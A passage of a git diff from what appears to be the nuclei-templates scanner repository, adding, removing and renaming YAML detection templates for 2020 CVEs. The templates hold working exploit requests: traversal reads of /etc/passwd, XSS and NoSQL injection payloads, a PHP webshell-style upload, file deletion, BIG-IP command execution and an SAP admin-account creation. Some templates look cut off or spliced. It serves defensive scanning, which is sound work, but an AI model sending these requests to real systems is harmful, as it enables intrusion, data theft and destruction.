cpe:2.3:a:processwire:processwire:*:*:*:*:*:*:*:* - metadata: - max-request: 1 - vendor: processwire - product: processwire - tags: cve,cve2020,processwire,lfi,cms,oss - -http: - - method: GET - path: - - "{{BaseURL}}/index.php?download=/etc/passwd" - - matchers-condition: and - matchers: - - type: regex - regex: - - "root:[x*]:0:0" - - - type: status - status: - - 200 -# digest: 490a00463044022005cc8cc6d259f90bddcc4ab74577e25407c52171a5893d763b5d5ab1dd6159c602204a99b859d07b48c2f47cf2a1a8329315e236c3999217ea353e49076587c74df0:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2020/CVE-2020-27982.yaml b/nuclei-templates/CVE-2020/CVE-2020-27982.yaml deleted file mode 100644 index 2b7a6b2741..0000000000 --- a/nuclei-templates/CVE-2020/CVE-2020-27982.yaml +++ /dev/null @@ -1,38 +0,0 @@ -id: CVE-2020-27982 - -info: - name: IceWarp WebMail Reflected XSS - author: madrobot - severity: medium - description: IceWarp 11.4.5.0 allows XSS via the language parameter. - reference: - - https://packetstormsecurity.com/files/159763/Icewarp-WebMail-11.4.5.0-Cross-Site-Scripting.html - - http://packetstormsecurity.com/files/159763/Icewarp-WebMail-11.4.5.0-Cross-Site-Scripting.html - - https://cxsecurity.com/issue/WLB-2020100161 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.1 - cve-id: CVE-2020-27982 - cwe-id: CWE-79 - tags: cve,cve2020,xss,icewarp - -requests: - - method: GET - path: - - "{{BaseURL}}/webmail/?language=%22%3E%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E" - - matchers-condition: and - matchers: - - type: status - status: - - 200 - - - type: word - words: - - "" - part: body - - - type: word - words: - - "text/html" - part: header \ No newline at end of file diff --git a/nuclei-templates/CVE-2020/CVE-2020-27986.yaml b/nuclei-templates/CVE-2020/CVE-2020-27986.yaml deleted file mode 100644 index a1298076ab..0000000000 --- a/nuclei-templates/CVE-2020/CVE-2020-27986.yaml +++ /dev/null @@ -1,44 +0,0 @@ -id: CVE-2020-27986 - -info: - name: SonarQube - Authentication Bypass - author: pikpikcu - severity: high - description: | - SonarQube 8.4.2.36762 allows remote attackers to discover cleartext SMTP, - SVN, and GitLab credentials via the api/settings/values URI. - reference: - - https://csl.com.co/sonarqube-auditando-al-auditor-parte-i/ - - https://nvd.nist.gov/vuln/detail/CVE-2020-27866 - remediation: Reportedly, the vendor's position for SMTP and SVN is "it is the administrator's responsibility to configure it." - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.5 - cve-id: CVE-2020-27986 - cwe-id: CWE-306,CWE-312 - cpe: cpe:2.3:a:sonarsource:sonarqube:*:*:*:*:*:*:*:* - epss-score: 0.23185 - tags: cve,cve2020,sonarqube - metadata: - max-request: 1 - -http: - - method: GET - path: - - "{{BaseURL}}/api/settings/values" - - matchers-condition: and - matchers: - - type: word - words: - - email.smtp_host.secured - - email.smtp_password.secured - - email.smtp_port.secured - - email.smtp_username.secured - part: body - condition: and - - type: status - status: - - 200 - -# Enhanced by mp on 2022/07/15 diff --git a/nuclei-templates/CVE-2020/CVE-2020-28871.yaml b/nuclei-templates/CVE-2020/CVE-2020-28871.yaml deleted file mode 100644 index 1d83410ac0..0000000000 --- a/nuclei-templates/CVE-2020/CVE-2020-28871.yaml +++ /dev/null @@ -1,51 +0,0 @@ -id: CVE-2020-28871 - -info: - name: Monitorr 1.7.6m - Unauthenticated Remote Code Execution - author: gy741 - severity: critical - description: Monitorr 1.7.6m is susceptible to a remote code execution vulnerability. Improper input validation and lack of authorization leads to arbitrary file uploads in the web application. An unauthorized attacker with web access to could upload and execute a specially crafted file, leading to remote code execution within the Monitorr. - reference: - - https://www.exploit-db.com/exploits/48980 - - https://lyhinslab.org/index.php/2020/09/12/how-the-white-box-hacking-works-authorization-bypass-and-remote-code-execution-in-monitorr-1-7-6/ - - https://nvd.nist.gov/vuln/detail/CVE-2020-28871 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 - cve-id: CVE-2020-28871 - cwe-id: CWE-434 - tags: cve,cve2020,monitorr,rce,oast,unauth - -requests: - - raw: - - | - POST /assets/php/upload.php HTTP/1.1 - Host: {{Hostname}} - Accept-Encoding: gzip, deflate - Accept: text/plain, */*; q=0.01 - Connection: close - Accept-Language: en-US,en;q=0.5 - X-Requested-With: XMLHttpRequest - Content-Type: multipart/form-data; boundary=---------------------------31046105003900160576454225745 - Origin: http://{{Hostname}} - Referer: http://{{Hostname}} - - -----------------------------31046105003900160576454225745 - Content-Disposition: form-data; name="fileToUpload"; filename="{{randstr}}.php" - Content-Type: image/gif - - GIF89a213213123WMT Server playout" + +# Enhanced by mp on 2022/04/28 diff --git a/nuclei-templates/CVE-2020/cve-2020-35729.yaml b/nuclei-templates/CVE-2020/CVE-2020-35729.yaml similarity index 100% rename from nuclei-templates/CVE-2020/cve-2020-35729.yaml rename to nuclei-templates/CVE-2020/CVE-2020-35729.yaml diff --git a/nuclei-templates/CVE-2020/cve-2020-35774.yaml b/nuclei-templates/CVE-2020/CVE-2020-35774.yaml similarity index 100% rename from nuclei-templates/CVE-2020/cve-2020-35774.yaml rename to nuclei-templates/CVE-2020/CVE-2020-35774.yaml diff --git a/nuclei-templates/CVE-2020/CVE-2020-35846.yaml b/nuclei-templates/CVE-2020/CVE-2020-35846.yaml deleted file mode 100644 index 35f6119a3c..0000000000 --- a/nuclei-templates/CVE-2020/CVE-2020-35846.yaml +++ /dev/null @@ -1,39 +0,0 @@ -id: CVE-2020-35846 - -info: - name: Cockpit prior to 0.12.0 NoSQL injection in /auth/check - author: dwisiswant0 - severity: critical - description: | - Cockpit before 0.11.2 allows NoSQL injection via the Controller/Auth.php check function. - The $eq operator matches documents where the value of a field equals the specified value. - reference: https://swarm.ptsecurity.com/rce-cockpit-cms/ - tags: cve,cve2020,nosqli,sqli - -requests: - - method: POST - path: - - "{{BaseURL}}/auth/check" - headers: - Content-Type: application/json - body: | - { - "auth": { - "user": { - "$eq": "admin" - }, - "password": [ - 0 - ] - } - } - - matchers-condition: and - matchers: - - type: status - status: - - 200 - - type: word - part: body - words: - - "password_verify() expects parameter" \ No newline at end of file diff --git a/nuclei-templates/CVE-2020/CVE-2020-35847.yaml b/nuclei-templates/CVE-2020/CVE-2020-35847.yaml new file mode 100644 index 0000000000..4088e8d03a --- /dev/null +++ b/nuclei-templates/CVE-2020/CVE-2020-35847.yaml @@ -0,0 +1,40 @@ +id: CVE-2020-35847 + +info: + name: Agentejo Cockpit <0.11.2 NoSQL Injection + author: dwisiswant0 + severity: critical + description: Agentejo Cockpit before 0.11.2 allows NoSQL injection via the Controller/Auth.php resetpassword function of the Auth controller. + reference: + - https://swarm.ptsecurity.com/rce-cockpit-cms/ + - https://nvd.nist.gov/vuln/detail/CVE-2020-35847 + - https://getcockpit.com/ + - https://github.com/agentejo/cockpit/commit/2a385af8d80ed60d40d386ed813c1039db00c466 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2020-35847 + cwe-id: CWE-89 + tags: cve,cve2020,nosqli,sqli,cockpit,injection + +requests: + - method: POST + path: + - "{{BaseURL}}/auth/requestreset" + headers: + Content-Type: application/json + body: | + { + "user": { + "$func": "var_dump" + } + } + + matchers: + - type: regex + part: body + regex: + - 'string\([0-9]{1,3}\)(\s)?"([A-Za-z0-9]+)"' + + +# Enhanced by mp on 2022/04/28 diff --git a/nuclei-templates/CVE-2020/CVE-2020-35951.yaml b/nuclei-templates/CVE-2020/CVE-2020-35951.yaml deleted file mode 100644 index 0ab49a2bc9..0000000000 --- a/nuclei-templates/CVE-2020/CVE-2020-35951.yaml +++ /dev/null @@ -1,67 +0,0 @@ -id: CVE-2020-35951 - -info: - name: Wordpress Quiz and Survey Master Arbitrary File Deletion - author: princechaddha - severity: critical - description: | - An issue was discovered in the Quiz and Survey Master plugin before 7.0.1 for WordPress. It allows users to delete arbitrary files such as wp-config.php file, which could effectively take a site offline and allow an attacker to reinstall with a WordPress instance under their control. This occurred via qsm_remove_file_fd_question, which allowed unauthenticated deletions (even though it was only intended for a person to delete their own quiz-answer files). - reference: https://www.wordfence.com/blog/2020/08/critical-vulnerabilities-patched-in-quiz-and-survey-master-plugin/ - tags: cve,cve2020,wordpress,wp-plugin - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:H - cvss-score: 9.90 - cve-id: CVE-2020-35951 - cwe-id: CWE-306 - -requests: - - raw: - - | - GET /wp-content/plugins/quiz-master-next/README.md HTTP/1.1 - Host: {{Hostname}} - - - | - GET /wp-content/plugins/quiz-master-next/tests/_support/AcceptanceTester.php HTTP/1.1 - Host: {{Hostname}} - - - | - POST /wp-admin/admin-ajax.php HTTP/1.1 - Host: {{Hostname}} - Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBJ17hSJBjuGrnW92 - - - ------WebKitFormBoundaryBJ17hSJBjuGrnW92 - Content-Disposition: form-data; name="action" - - qsm_remove_file_fd_question - ------WebKitFormBoundaryBJ17hSJBjuGrnW92 - Content-Disposition: form-data; name="file_url" - - {{fullpath}}wp-content/plugins/quiz-master-next/README.md - ------WebKitFormBoundaryBJ17hSJBjuGrnW92-- - - - | - GET /wp-content/plugins/quiz-master-next/README.md HTTP/1.1 - Host: {{Hostname}} - - extractors: - - type: regex - name: fullpath - internal: true - part: body - group: 1 - regex: - - "not found in ([/a-z_]+)wp" - - req-condition: true - matchers-condition: and - matchers: - - - type: word - words: - - '{"type":"success","message":"File removed successfully"}' - part: body - - - type: dsl - dsl: - - "contains((body_1), '# Quiz And Survey Master') && status_code_4==301 && !contains((body_4), '# Quiz And Survey Master')" \ No newline at end of file diff --git a/nuclei-templates/CVE-2020/CVE-2020-36287.yaml b/nuclei-templates/CVE-2020/CVE-2020-36287.yaml deleted file mode 100644 index 8e5e71f48c..0000000000 --- a/nuclei-templates/CVE-2020/CVE-2020-36287.yaml +++ /dev/null @@ -1,31 +0,0 @@ -id: CVE-2020-36287 -info: - name: Jira Dashboard Gadgets / Information Disclosure - author: Jafar_Abo_Nada - severity: medium - description: The dashboard gadgets preference resource of the Atlassian gadgets plugin used in Jira Server and Jira Data Center before version 8.13.5, and from version 8.14.0 before version 8.15.1 allows remote anonymous attackers to obtain gadget related settings via a missing permissions check. - tags: cve,cve2020,jira,atlassian,disclosure - reference: | - - https://twitter.com/Jafar_Abo_Nada/status/1386058611084890116 - - https://nvd.nist.gov/vuln/detail/CVE-2020-36287 - # On a vulnerable instance, iterate through gadget ID from 10000 to 19999 to get exposed information /rest/dashboards/1.0/10000/gadget/{{id}}/prefs -requests: - - raw: - - | - GET /rest/dashboards/1.0/10000/gadget/10000/prefs HTTP/1.1 - Host: {{Hostname}} - Accept-Encoding: gzip, deflate - Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 - - | - GET /rest/dashboards/1.0/10000/gadget/10001/prefs HTTP/1.1 - Host: {{Hostname}} - Accept-Encoding: gzip, deflate - Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 - req-condition: true - matchers: - - type: dsl - dsl: - - "status_code_1 == 200" - - "contains(body_1, '')" - - "status_code_2 != 401" - condition: and diff --git a/nuclei-templates/CVE-2020/cve-2020-36289.yaml b/nuclei-templates/CVE-2020/CVE-2020-36289.yaml similarity index 100% rename from nuclei-templates/CVE-2020/cve-2020-36289.yaml rename to nuclei-templates/CVE-2020/CVE-2020-36289.yaml diff --git a/nuclei-templates/CVE-2020/CVE-2020-36365.yaml b/nuclei-templates/CVE-2020/CVE-2020-36365.yaml deleted file mode 100644 index 266c741657..0000000000 --- a/nuclei-templates/CVE-2020/CVE-2020-36365.yaml +++ /dev/null @@ -1,28 +0,0 @@ -id: CVE-2020-36365 - -info: - name: Smartstore < 4.1.0 - Open redirect - author: 0x_Akoko - severity: medium - description: Smartstore (aka SmartStoreNET) before 4.1.0 allows CommonController.ClearCache, ClearDatabaseCache, RestartApplication, and ScheduleTaskController.Edit open redirect. - reference: - - https://github.com/smartstore/SmartStoreNET/issues/2113 - - https://www.cvedetails.com/cve/CVE-2020-36365 - tags: cve,cve2020,redirect,smartstore - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.10 - cve-id: CVE-2020-36365 - cwe-id: CWE-601 - -requests: - - method: GET - - path: - - '{{BaseURL}}/backend/admin/common/clearcache?previousUrl=http://www.example.com' - - matchers: - - type: regex - regex: - - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\-_]*\.)?example\.com(?:\s*?)$' - part: header diff --git a/nuclei-templates/CVE-2020/CVE-2020-5405.yaml b/nuclei-templates/CVE-2020/CVE-2020-5405.yaml new file mode 100644 index 0000000000..c5398e9a7b --- /dev/null +++ b/nuclei-templates/CVE-2020/CVE-2020-5405.yaml @@ -0,0 +1,36 @@ +id: CVE-2020-5405 + +info: + name: Spring Cloud Config - Local File Inclusion + author: harshbothra_ + severity: medium + description: Spring Cloud Config versions 2.2.x prior to 2.2.2, 2.1.x prior to 2.1.7, and older unsupported versions are vulnerable to local file inclusion because they allow applications to serve arbitrary configuration files through the spring-cloud-config-server module. + reference: + - https://pivotal.io/security/cve-2020-5405 + - https://nvd.nist.gov/vuln/detail/CVE-2020-5405 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N + cvss-score: 6.5 + cve-id: CVE-2020-5405 + cwe-id: CWE-22 + cpe: cpe:2.3:a:vmware:spring_cloud_config:*:*:*:*:*:*:*:* + epss-score: 0.00258 + tags: cve,cve2020,lfi,springcloud + metadata: + max-request: 1 + +http: + - method: GET + path: + - '{{BaseURL}}/a/b/%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc/passwd' + matchers-condition: and + matchers: + - type: status + status: + - 200 + - type: regex + regex: + - "root:.*:0:0:" + part: body + +# Enhanced by mp on 2022/07/22 diff --git a/nuclei-templates/CVE-2020/CVE-2020-5410.yaml b/nuclei-templates/CVE-2020/CVE-2020-5410.yaml new file mode 100644 index 0000000000..516b74adf1 --- /dev/null +++ b/nuclei-templates/CVE-2020/CVE-2020-5410.yaml @@ -0,0 +1,39 @@ +id: CVE-2020-5410 + +info: + name: Spring Cloud Config Server - Local File Inclusion + author: mavericknerd + severity: high + description: Spring Cloud Config Server versions 2.2.x prior to 2.2.3, versions 2.1.x prior to 2.1.9, and older unsupported versions allow applications to serve arbitrary configuration files through the spring-cloud-config-server module. A malicious user or attacker can send a request using a specially crafted URL that can lead to a local file inclusion attack. + reference: + - https://tanzu.vmware.com/security/cve-2020-5410 + - https://nvd.nist.gov/vuln/detail/CVE-2020-5410 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2020-5410 + cwe-id: CWE-22 + cpe: cpe:2.3:a:vmware:spring_cloud_config:*:*:*:*:*:*:*:* + epss-score: 0.9712 + tags: cve,cve2020,lfi,springcloud,config,traversal,kev + metadata: + max-request: 1 + +http: + - method: GET + path: + - "{{BaseURL}}/..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd%23foo/development" + + matchers-condition: and + matchers: + + - type: regex + part: body + regex: + - "root:.*:0:0:" + + - type: status + status: + - 200 + +# Enhanced by mp on 2022/06/28 diff --git a/nuclei-templates/CVE-2020/CVE-2020-5776.yaml b/nuclei-templates/CVE-2020/CVE-2020-5776.yaml deleted file mode 100644 index a2923c0e5a..0000000000 --- a/nuclei-templates/CVE-2020/CVE-2020-5776.yaml +++ /dev/null @@ -1,54 +0,0 @@ -id: CVE-2020-5776 - -info: - name: MAGMI - Cross-Site Request Forgery - author: dwisiswant0 - severity: high - description: MAGMI (Magento Mass Importer) is vulnerable to cross-site request forgery (CSRF) due to a lack of CSRF tokens. Remote code execution (via phpcli command) is also possible in the event that CSRF is leveraged against an existing admin session. - reference: - - https://www.tenable.com/security/research/tra-2020-51 - - https://nvd.nist.gov/vuln/detail/CVE-2020-5776 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H - cvss-score: 8.8 - cve-id: CVE-2020-5776 - cwe-id: CWE-352 - cpe: cpe:2.3:a:magmi_project:magmi:*:*:*:*:*:*:*:* - epss-score: 0.53263 - metadata: - max-request: 3 - shodan-query: http.component:"Magento" - tags: magmi,magento,tenable,cve,cve2020 - -http: - - raw: - - | - POST /magmi/web/magmi_saveprofile.php HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/x-www-form-urlencoded - Connection: close - - profile=default&PLUGINS_DATASOURCES%3Aclasses=&PLUGINS_DATASOURCES%3Aclass=Magmi_CSVDataSource&CSV%3Aimportmode=remote&CSV%3Abasedir=var%2Fimport&CSV%3Aremoteurl=[https%3A%2F%2Fraw.githubusercontent.com%2Fprojectdiscovery%2Fnuclei-templates%2Fmaster%2Fhelpers%2Fpayloads%2FCVE-2020-5776.csv]&CSV%3Aremotecookie=&CSV%3Aremoteuser=&CSV%3Aremotepass=&CSV%3Aseparator=&CSV%3Aenclosure=&CSV%3Aheaderline=&PLUGINS_GENERAL%3Aclasses=Magmi_ReindexingPlugin&Magmi_ReindexingPlugin=on&REINDEX%3Aphpcli=echo+%22%3C%3Fphp+phpinfo()%3B%22+%3E+%2Fvar%2Fwww%2Fhtml%2Fmagmi%2Fweb%2Finfo.php%3B+php+&REINDEX%3Aindexes=cataloginventory_stock&cataloginventory_stock=on&PLUGINS_ITEMPROCESSORS%3Aclasses= - - | - POST /magmi/web/magmi_run.php HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/x-www-form-urlencoded - Connection: close - - engine=magmi_productimportengine%3AMagmi_ProductImportEngine&ts=1598879870&run=import&logfile=progress.txt&profile=default&mode=update - - | - GET /magmi/web/info.php HTTP/1.1 - Host: {{Hostname}} - Connection: close - matchers-condition: and - matchers: - - type: word - words: - - "PHP Extension" - - "PHP Version" - condition: and - - type: status - status: - - 200 - -# Enhanced by mp on 2022/06/28 diff --git a/nuclei-templates/CVE-2020/CVE-2020-5777.yaml b/nuclei-templates/CVE-2020/CVE-2020-5777.yaml deleted file mode 100644 index 9a29b19c32..0000000000 --- a/nuclei-templates/CVE-2020/CVE-2020-5777.yaml +++ /dev/null @@ -1,41 +0,0 @@ -id: CVE-2020-5777 - -info: - name: Magento Mass Importer <0.7.24 - Remote Auth Bypass - author: dwisiswant0 - severity: critical - description: Magento Mass Importer (aka MAGMI) versions prior to 0.7.24 are vulnerable to a remote authentication bypass due to allowing default credentials in the event there is a database connection failure. - reference: - - https://github.com/dweeves/magmi-git/blob/18bd9ec905c90bfc9eaed0c2bf2d3525002e33b9/magmi/inc/magmi_auth.php#L35 - - https://nvd.nist.gov/vuln/detail/CVE-2020-5777 - - https://www.tenable.com/security/research/tra-2020-51 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 - cve-id: CVE-2020-5777 - cwe-id: CWE-287 - cpe: cpe:2.3:a:magmi_project:magmi:*:*:*:*:*:*:*:* - epss-score: 0.01568 - metadata: - max-request: 1 - shodan-query: http.component:"Magento" - tags: plugin,tenable,cve,cve2020,magmi,magento,auth,bypass - -http: - - raw: - - | - GET /index.php/catalogsearch/advanced/result/?name=e HTTP/1.1 - Host: {{Hostname}} - Connection: close - - matchers-condition: and - matchers: - - type: word - words: - - "Too many connections" - part: body - - type: status - status: - - 503 - -# Enhanced by mp on 2022/04/28 diff --git a/nuclei-templates/CVE-2020/cve-2020-5847.yaml b/nuclei-templates/CVE-2020/CVE-2020-5847.yaml similarity index 100% rename from nuclei-templates/CVE-2020/cve-2020-5847.yaml rename to nuclei-templates/CVE-2020/CVE-2020-5847.yaml diff --git a/nuclei-templates/CVE-2020/CVE-2020-5902.yaml b/nuclei-templates/CVE-2020/CVE-2020-5902.yaml new file mode 100644 index 0000000000..c0507f572f --- /dev/null +++ b/nuclei-templates/CVE-2020/CVE-2020-5902.yaml @@ -0,0 +1,85 @@ +id: CVE-2020-5902 + +info: + name: F5 BIG-IP TMUI - Remote Code Execution + author: madrobot,dwisiswant0,ringo + severity: critical + description: F5 BIG-IP versions 15.0.0-15.1.0.3, 14.1.0-14.1.2.5, 13.1.0-13.1.3.3, 12.1.0-12.1.5.1, and 11.6.1-11.6.5.1, the Traffic Management User Interface (TMUI), also referred to as the Configuration utility, has a Remote Code Execution (RCE) vulnerability in undisclosed pages. + reference: + - http://packetstormsecurity.com/files/158333/BIG-IP-TMUI-Remote-Code-Execution.html + - http://packetstormsecurity.com/files/158334/BIG-IP-TMUI-Remote-Code-Execution.html + - http://packetstormsecurity.com/files/158366/F5-BIG-IP-TMUI-Directory-Traversal-File-Upload-Code-Execution.html + - http://packetstormsecurity.com/files/158414/Checker-CVE-2020-5902.html + - http://packetstormsecurity.com/files/158581/F5-Big-IP-13.1.3-Build-0.0.6-Local-File-Inclusion.html + - https://badpackets.net/over-3000-f5-big-ip-endpoints-vulnerable-to-cve-2020-5902/ + - https://github.com/Critical-Start/Team-Ares/tree/master/CVE-2020-5902 + - https://support.f5.com/csp/article/K52145254 + - https://swarm.ptsecurity.com/rce-in-f5-big-ip/ + - https://www.criticalstart.com/f5-big-ip-remote-code-execution-exploit/ + - https://www.kb.cert.org/vuls/id/290915 + - https://nvd.nist.gov/vuln/detail/CVE-2020-5902 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2020-5902 + cwe-id: CWE-22,CWE-829 + epss-score: 0.97562 + tags: cve2020,bigip,rce,kev,packetstorm,cve + metadata: + max-request: 8 + +http: + - method: GET + path: + - "{{BaseURL}}/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd" + - "{{BaseURL}}/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/f5-release" + - "{{BaseURL}}/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/config/bigip.license" + - "{{BaseURL}}/hsqldb%0a" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: regex + regex: + - "root:.*:0:0:" + - "BIG-IP release ([\\d.]+)" + - "[a-fA-F]{5}-[a-fA-F]{5}-[a-fA-F]{5}-[a-fA-F]{5}-[a-fA-F]{7}" + - "HSQL Database Engine Servlet" + condition: or + + - raw: + - | + POST /tmui/locallb/workspace/tmshCmd.jsp HTTP/1.1 + Host: {{Hostname}} + + command=create%20cli%20alias%20private%20list%20command%20bash + - | + POST /tmui/locallb/workspace/fileSave.jsp HTTP/1.1 + Host: {{Hostname}} + + fileName=%2Ftmp%2Fnonexistent&content=echo%20%27aDNsbDBfdzBSbGQK%27%20%7C%20base64%20-d + - | + POST /tmui/locallb/workspace/tmshCmd.jsp HTTP/1.1 + Host: {{Hostname}} + + command=list%20%2Ftmp%2Fnonexistent + - | + POST /tmui/locallb/workspace/tmshCmd.jsp HTTP/1.1 + Host: {{Hostname}} + + command=delete%20cli%20alias%20private%20list + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "h3ll0_w0Rld" + +# Enhanced by mp on 2022/04/28 diff --git a/nuclei-templates/CVE-2020/cve-2020-6171.yaml b/nuclei-templates/CVE-2020/CVE-2020-6171.yaml similarity index 100% rename from nuclei-templates/CVE-2020/cve-2020-6171.yaml rename to nuclei-templates/CVE-2020/CVE-2020-6171.yaml diff --git a/nuclei-templates/CVE-2020/CVE-2020-6287.yaml b/nuclei-templates/CVE-2020/CVE-2020-6287.yaml deleted file mode 100644 index f6c7fa6455..0000000000 --- a/nuclei-templates/CVE-2020/CVE-2020-6287.yaml +++ /dev/null @@ -1,55 +0,0 @@ -id: CVE-2020-6287 - -info: - name: SAP NetWeaver AS JAVA 7.30-7.50 - Remote Admin Addition - author: dwisiswant0 - severity: critical - description: SAP NetWeaver AS JAVA (LM Configuration Wizard), versions 7.30, 7.31, 7.40, 7.50, does not perform an authentication check which allows an attacker without prior authentication to execute configuration tasks to perform critical actions against the SAP Java system, including the ability to create an administrative user, and therefore compromising Confidentiality, Integrity and Availability of the system. - reference: - - https://launchpad.support.sap.com/#/notes/2934135 - - https://wiki.scn.sap.com/wiki/pages/viewpage.action?pageId=552599675 - - https://www.onapsis.com/recon-sap-cyber-security-vulnerability - - https://github.com/chipik/SAP_RECON - - https://nvd.nist.gov/vuln/detail/CVE-2020-6287 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H - cvss-score: 10 - cve-id: CVE-2020-6287 - cwe-id: CWE-306 - tags: cve,cve2020,sap - -requests: - - raw: - - | - POST /CTCWebService/CTCWebServiceBean/ConfigServlet HTTP/1.1 - Host: {{Hostname}} - Content-Type: text/xml; charset=UTF-8 - Connection: close - - sap.com/tc~lm~config~contentcontent/Netweaver/ASJava/NWA/SPC/SPC_UserManagement.cproc - CiAgICAgICAgICAgIDxQQ0s+CiAgICAgICAgICAgIDxVc2VybWFuYWdlbWVudD4KICAgICAgICAgICAgICA8U0FQX1hJX1BDS19DT05GSUc+CiAgICAgICAgICAgICAgICA8cm9sZU5hbWU+QWRtaW5pc3RyYXRvcjwvcm9sZU5hbWU+CiAgICAgICAgICAgICAgPC9TQVBfWElfUENLX0NPTkZJRz4KICAgICAgICAgICAgICA8U0FQX1hJX1BDS19DT01NVU5JQ0FUSU9OPgogICAgICAgICAgICAgICAgPHJvbGVOYW1lPlRoaXNJc1JuZDczODA8L3JvbGVOYW1lPgogICAgICAgICAgICAgIDwvU0FQX1hJX1BDS19DT01NVU5JQ0FUSU9OPgogICAgICAgICAgICAgIDxTQVBfWElfUENLX01PTklUT1I+CiAgICAgICAgICAgICAgICA8cm9sZU5hbWU+VGhpc0lzUm5kNzM4MDwvcm9sZU5hbWU+CiAgICAgICAgICAgICAgPC9TQVBfWElfUENLX01PTklUT1I+CiAgICAgICAgICAgICAgPFNBUF9YSV9QQ0tfQURNSU4+CiAgICAgICAgICAgICAgICA8cm9sZU5hbWU+VGhpc0lzUm5kNzM4MDwvcm9sZU5hbWU+CiAgICAgICAgICAgICAgPC9TQVBfWElfUENLX0FETUlOPgogICAgICAgICAgICAgIDxQQ0tVc2VyPgogICAgICAgICAgICAgICAgPHVzZXJOYW1lIHNlY3VyZT0idHJ1ZSI+c2FwUnBvYzYzNTE8L3VzZXJOYW1lPgogICAgICAgICAgICAgICAgPHBhc3N3b3JkIHNlY3VyZT0idHJ1ZSI+U2VjdXJlIVB3RDg4OTA8L3Bhc3N3b3JkPgogICAgICAgICAgICAgIDwvUENLVXNlcj4KICAgICAgICAgICAgICA8UENLUmVjZWl2ZXI+CiAgICAgICAgICAgICAgICA8dXNlck5hbWU+VGhpc0lzUm5kNzM4MDwvdXNlck5hbWU+CiAgICAgICAgICAgICAgICA8cGFzc3dvcmQgc2VjdXJlPSJ0cnVlIj5UaGlzSXNSbmQ3MzgwPC9wYXNzd29yZD4KICAgICAgICAgICAgICA8L1BDS1JlY2VpdmVyPgogICAgICAgICAgICAgIDxQQ0tNb25pdG9yPgogICAgICAgICAgICAgICAgPHVzZXJOYW1lPlRoaXNJc1JuZDczODA8L3VzZXJOYW1lPgogICAgICAgICAgICAgICAgPHBhc3N3b3JkIHNlY3VyZT0idHJ1ZSI+VGhpc0lzUm5kNzM4MDwvcGFzc3dvcmQ+CiAgICAgICAgICAgICAgPC9QQ0tNb25pdG9yPgogICAgICAgICAgICAgIDxQQ0tBZG1pbj4KICAgICAgICAgICAgICAgIDx1c2VyTmFtZT5UaGlzSXNSbmQ3MzgwPC91c2VyTmFtZT4KICAgICAgICAgICAgICAgIDxwYXNzd29yZCBzZWN1cmU9InRydWUiPlRoaXNJc1JuZDczODA8L3Bhc3N3b3JkPgogICAgICAgICAgICAgIDwvUENLQWRtaW4+CiAgICAgICAgICAgIDwvVXNlcm1hbmFnZW1lbnQ+CiAgICAgICAgICA8L1BDSz4KICAgIA== - userDetails - - # userName - sapRpoc6351 - # password - Secure!PwD8890 - - matchers-condition: and - matchers: - - type: word - words: - - "CTCWebServiceSi" - - "SOAP-ENV" - part: body - condition: and - - - type: status - status: - - 200 - - - type: word - words: - - "text/xml" - - "SAP NetWeaver Application Server" - part: header - -# Enhanced by mp on 2022/04/29 diff --git a/nuclei-templates/CVE-2020/CVE-2020-7318.yaml b/nuclei-templates/CVE-2020/CVE-2020-7318.yaml new file mode 100644 index 0000000000..00cbcb1359 --- /dev/null +++ b/nuclei-templates/CVE-2020/CVE-2020-7318.yaml @@ -0,0 +1,45 @@ +id: CVE-2020-7318 + +info: + name: McAfee ePolicy Orchestrator Reflected XSS + author: dwisiswant0 + severity: medium + description: | + Cross-Site Scripting vulnerability in McAfee ePolicy Orchestrator (ePO) + prior to 5.10.9 Update 9 allows administrators to inject arbitrary web + script or HTML via multiple parameters where the administrator's entries + were not correctly sanitized. + + reference: + - https://swarm.ptsecurity.com/vulnerabilities-in-mcafee-epolicy-orchestrator/ + reference: + - 